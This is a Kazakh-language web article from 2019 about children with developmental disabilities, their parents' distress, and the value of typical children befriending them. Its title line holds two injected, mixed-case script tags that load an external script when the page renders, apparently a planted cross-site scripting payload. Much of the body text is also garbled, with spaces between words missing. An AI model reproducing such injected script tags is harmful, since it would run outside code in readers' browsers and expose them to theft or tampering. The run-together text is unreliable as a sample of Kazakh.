Әрбаланыңтолыққанды өмір сүругеқұқығы бар. ЖАҚСЫЛЫҚ ЖАҚСЫЛЫҚТЫ ТУДЫРАДЫ.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

03.12.2019

Әрбаланыңтолыққанды өмір сүругеқұқығы бар.

ЖАҚСЫЛЫҚ ЖАҚСЫЛЫҚТЫ ТУДЫРАДЫ.

 

Біздіңмемлекеттедамуындаәртүрліауытқулары бар ерекшебалалар бар. Мұндайбалалардыерекшебілім беру қажеттілігі бар балаларнемеседенсаулығы мен өмір сүрумүмкіндігішектеулібалалардепатауғаболады.

Ата-аналарөзбаласыныңбасқабалаларсияқтыемесекенінтүсінгенкезде не сезінетінінойлаңыз.

Ерекше даму патологиясы бар балалартуғананаларпсихологиялық шок, түңілудісезеді. Бұлбаланыемдеу, оныңтәрбиесі мен әлеуметтікбейімделуібарысындакөптегенқиындықтарданқорқу, кінә, ұятсезімкейбірата-аналардыөзбаласынан бас тартуғанемесеотбасыныңбұзылуынаәкеледі.

"Қарапайым" балалардыңата-аналарынаешкімжазатайымоқиғадансақтандырылмағанынойлағанжөн: жазылмайтын ауру, масжүргізуші, петарданыңжарылысы,бірсағатішіндеқалыптасқанөмірдібұзуымүмкін.

Денсаулық мүмкіндіктерішектеуліадамдарғабізтаңқаларлық, сақтықпен, кейдетіптінемқұрайлықпенқараймыз. Көбінесеата-аналарөзбаласынденсаулығымүмкіндігішектеулібалаларменқарым-қатынасуданшеттетугетырысады, оныменқарым-қатынасолардыңбалаларыныңдамуынатерісәсеретедідепойлайды. Керісінше. мүмкіндіктерішектеулібаламенқарым-қатынасжасайотырып, оныменойнап, оғанкөңілбөліп, қамқорлықкөрсетеотырып, қалыптыдамыпкележатқанбалалармейірімдіжәнебасқалардыңкемшіліктерінешыдамдылықтанытудыүйренеді.